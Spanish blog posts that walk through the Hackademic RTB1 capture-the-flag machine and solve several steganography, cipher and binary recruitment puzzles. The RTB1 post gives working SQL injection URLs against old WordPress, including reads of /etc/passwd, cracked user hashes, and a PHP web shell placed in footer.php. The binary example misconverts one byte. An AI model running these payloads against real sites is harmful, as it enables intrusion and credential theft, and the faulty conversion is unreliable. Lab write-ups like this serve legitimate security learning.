sábado, 3 de diciembre de 2011

Hackademia RTB1

Bueno, hoy voy a analizar un poco este wargame que me descargué hace un tiempecillo y que he estado probando este fin de semana..

Se trata de "Root the box", que lo conocí a través de la gente de sec-track:
http://www.sec-track.com/Wiki/wiki/index.php/Hackademic.RTB1
Se trata de una imagen de vmware que se puede abrir sin problemas con VirtualBox. Al levantar la máquina, ya coge IP mediante DHCP, así pues.. lo primero será, mirar a ver que tiene... así que.. vamos con un Nmap.

Después de ver esto, tenemos que el único puerto abierto y por lo tanto punto de entrada, se trata del servidor web, ya que ssh se encuentra cerrado.

Así pues si accedemos a la aplicación:
http://192.168.0.190/
podemos ver que no hay prácticamente nada.. tan solo un mensaje que indica que la aplicación principal está en /Hackademia_RTB1/. Al acceder, veremos que es una aplicación prácticamente en pañales, con tan solo 2 enlaces, así que si buscamos un poco, por ver si hay algo más que no esté enlazado...
  • http://192.168.0.190/phpMyAdmin/ - Forbidden
  • http://192.168.0.190/Hackademia_RTB1/wp-admin - Ok
  • http://192.168.0.190/Hackademia_RTB1/wp-login - Ok
  • http://192.168.0.190/Hackademia_RTB1/xmlrpc.php - Ok
  • http://192.168.0.190/Hackademia_RTB1/license.txt - Ok

viendo estos archivos, y si miramos dentro del contenido que envía el servidor, podemos confirmar que se trata de un Wordpress 1.5.1.1. Si se busca un poco por internet, se puede ver que esta versión dispone de diversas vulnerabilidades, entre ellas SQLinjection y XSS (que ésta no nos sirve).



Así que.. mirando, probando.. he visto que se trata de la variable "cat" que es vulnerable a SQLi. He estado buscando a ver si estaba documentada y no he visto demasiado, así que probando de hacerlo a mano. Así que pongo aquí algunas consultas que me han ido llevando a sacar información:
Para ver el número de columnas que tiene la sentencia:
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%205
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%206

hacemos un union con una consulta nuestra, para ver si existe algún campo que sea visible:
http://192.168.0.190/Hackademic_RTB1/?cat=1%20union%20select%201,2,3,4,5
En un principio no se puede observar cambios, pero esto es debido a que al final de la sentencia añade un "LIMIT 1" y como la primera parte ya nos devuelve "Uncategoritzed" es lo que utiliza todo el rato, así que se trata de que la primera consulta no devuelva nada, así que, hacemos que siempre sea falsa añadiendo la condición "and 1=0":
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20and%201=0%20union%20select%201,2,3,4,5

Con esto podemos ver que el campo "2" se muestra en el título, por lo tanto es el parámetro que usaremos para realizar extraer la información.
Buscando información acerca de las tablas que usa la base de datos de wordpress, vemos la especificación de la tabla de usuarios:
http://codex.wordpress.org/Database_Description#Table:_wp_users
lo que nos interesa son los campos user_login y user_pass:

1:NickJames:21232f297a57a5a743894a0e4a801fc3 - admin
2:JohnSmith:b986448f0bb9e5e124ca91d3d650f52c - PUPPIES
3:GeorgeMiller:7cbb3252ba6b7e9c422fac5334d22054 - q1w2e3
4:TonyBlack:a6e514f9486b83cb53d8d932f9a04292 - napoleon
5:JasonKonnors:8601f6e1028a8e8a966f6c33fcd9aec4 - maxwell
6:MaxBucky:50484c19f1afdaf3841a0d821ed393d2 - kernel

Entrando en cada uno de los perfiles dentro de wordpress, es posible ver que GeorgeMiller es el administrador de la aplicación, vamos, quien tiene más privilegios.

La idea, es modificar alguno de los archivos existentes en el sistema, por tal de poder ejecutar php y hacer un interprete de comandos vía web. Así pues, modificando el footer.php de uno de los templates, añadiendo código en php tenemos lo siguiente:



Así que mediante esta consola, ya podemos ejecutar comandos, como por ejemplo...:
  • http://192.168.0.190/Hackademic_RTB1/wp-content/themes/starburst/footer.php?cmd=whoami -> apache



Bueno, y ya que estoy y comento algo de la solución que proponen la gente de sec-track, comentar un par de cosas que no sabía y que me han parecido muy interesantes y útiles:
Para empezar, la codificación del archivo utilizando "char" para evitar las comillas y que se provoquen errores... esto lo he hecho inumerables veces con XSS, pero no se me había ocurrido para un SQLi.
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3,4,5

Y segundo, que al codificar el nombre del archivo en Hex, te permite obtenerlo igualmente:
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(0x2f6574632f706173737764),3,4,5
Ambos obtienen el archivo /etc/passwd, ya que con la siguiente petición provoca un error:
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file('/etc/passwd'),3,4,5

Puzzle (IV de VI)

Hoy vamos a empezar por la segunda parte de cada uno de los puzzles.

Al resolver el primer puzzle, el de la imagen que nos comentaba mirar el código fuente... nos llevaba al llamado "Puzzle Δ" que es la segunda parte, y el principio de la solución final al enigma, bueno, a la url donde queremos acceder.

Así pues, una vez que hayamos resuelto estos tres últimos puzzles, podremos dejar nuestro CV en:
http://www.rtncyberjobs.com/pz2/Solution to Δ/Solution to Ω/Solution to Σ

Así pues vayamos a solucionarlo.

En este segundo caso, nos encontramos con la siguiente imagen:

En ella comenta que las imagenes suelen tener más información de la que podemos ver... así que... para empezar se me ocurren dos cosas que poder mirar.

La primera, metadatos o información contenida en ésta, así que para ir rápido y ver si se puede extraer algo, se descarga la imagen y se puede probar con hacer un "strings", con el siguiente resultado:

(no sé ve demasiado bien, pero la frase es: Getting warmer! Use concealment to uncover even more as you hunt for the solution string to this puzzle... like hide and seek...)

Al observar la frase obtenida, ya no he pensado en mirar más por esta vía. Además, de que da la pista de usar "hide and seek" un software para steganografía, que era la segunda opción :D

Al buscar este software, he podido ver que se trata de un software para imágenes GIF, por lo que no me sirve. Buscando un poco más, he podido ver un software que se llama JPHS (jpeg hide and seek), por lo que parece que es la opción perfecta.

Al ejecutar el programa me pide una contraseña para poder extraer la información oculta... y sin contraseña, no exporta nada... Por lo que revisando de nuevo la pista que tenemos con "strings", se me ocurre que lo de "use concealment to uncover" puede ser literal.. así que probando con "concealment" obtenemos el siguiente bonito mensaje:

así que ya está, tenemos la primera de las tres partes de la URL para utilizar!

Enlaces de interés:

http://www.jjtc.com/Steganography/tools.html

http://linux01.gwdg.de/~alatham/stego.html

viernes, 2 de diciembre de 2011

Puzzle (III de VI)

Bueno bueno... y aquí viene el tercer wargame, level 1...:P

Nos encontramos con el siguiente texto...


Este tiene ya más miga que no el resto...En el texto preguntan.. "¿Quien dijo...?" y al final nueve espacios en blanco, que suponemos es la solución, y lo que deberemos añadir a la url para pasar al siguiente nivel...

Como podemos ver, el texto tiene sus espacios, sus puntos y comas.. así que es de suponer.. que tan solo existe una transmutación entre las letras que aparecen y las originales. Es decir, tenemos que encontrar la correspondencia entre las letras, por tal de poder substituir cada una por su correspondiente original.

Dado que se trata de una página en inglés.. y que la frase, es de suponer que también lo estará.. el primer paso es realizar un estudio de la frecuencia que aparecen las letras.

http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language

El siguiente paso es coger y hacer un recuento de las letras que aparecen en el texto, así cómo un método para el cambio por las originales... sí, se puede hacer mediante folio y lápiz.. pero resulta demasiado coñ... tedioso. Así que, con un par de funciones de python es posible agilizar y facilitar esta tarea..

Para empezar, una función que nos haga el recuento de cada una de las letras que aparecen en la frase...:
(sustituir los _ por tabulaciones, que blogger no me deja meter el código..)
def cont(string):
_dic={}
_i=65
_while i<=90:
__dic[chr(i)]=string.count(chr(i))
__i=i+1
_return dic

Esta pequeña función, nos devuelve un diccionario con el número de veces que aparece cada letra. A continuación, otra función para hacer el cambio de letras, en función de otro diccionario que se encargue de las traducciones.

def subs(orig,trans):
_for i in trans.keys():
__orig=orig.replace(i,trans[i])
_print orig

Con estas dos pequeñas funciones definidas dentro del interprete de python, tan solo es necesario ir pasando las traducciones que creamos correctas, por tal de poder llegar a descifrar el mensaje.

Así pues, después de ir haciendo sustituciones.. nos queda el siguiente vector de traducciones:

trans= {'A': 'o', 'C': 'p', 'B': 't', 'E': 'l', 'D': 'a', 'G': 'h', 'F': 'u', 'I': 'i', 'K': 'm', 'J': 'b', 'M': 'j', 'L': 'c', 'N': 'd', 'Q': 'n', 'P': 'e', 'S': 'r', 'R': 'v', 'U': 'k', 'T': 'f', 'W': 'w', 'V': 's', 'X': 'y', 'Z': 'g'}

Así que dejo como ejercicio el acabar de juntar las partes, y descubrir que presidente dijo la frase...

jueves, 1 de diciembre de 2011

Puzzle (II de VI)

Bueno, pues aquí vamos a por el segundo!!

Para empezar tenemos la siguiente imagen llena de "interruptores":

Si alguien no se le ha ocurrido aún viendo la imagen, los interruptores están en dos posiciones, DOS, circuito abierto o cerrado o lo que es lo mismo.. 0 o 1. Sí, es un sistema binario, y si encima os tomáis la molestia de contarlos.. veréis que hay 96 interruptores, es decir, 12 grupos de 8 bits... vamos viéndolo ya?

Estos 96 bits, se puede representar por:

011000100110100101101110011000010111001001111001011100110110111101101100011101100110010101100100

Lo siguiente sería coger cada grupito de 8 bits.. (si alguien no sabe hacer la conversión a decimal.. que se lo mire.. o se lo haga mirar...)

01100010 = 61 (hex) = 97 dec = 'a'

con el resto... es muy fácil hacerlo, así que ahí lo dejo..


buen va.. si alguien ve que no le sale.. puede usar alguna aplicación web que le haga el trabajito...(cómo por ejemplo:)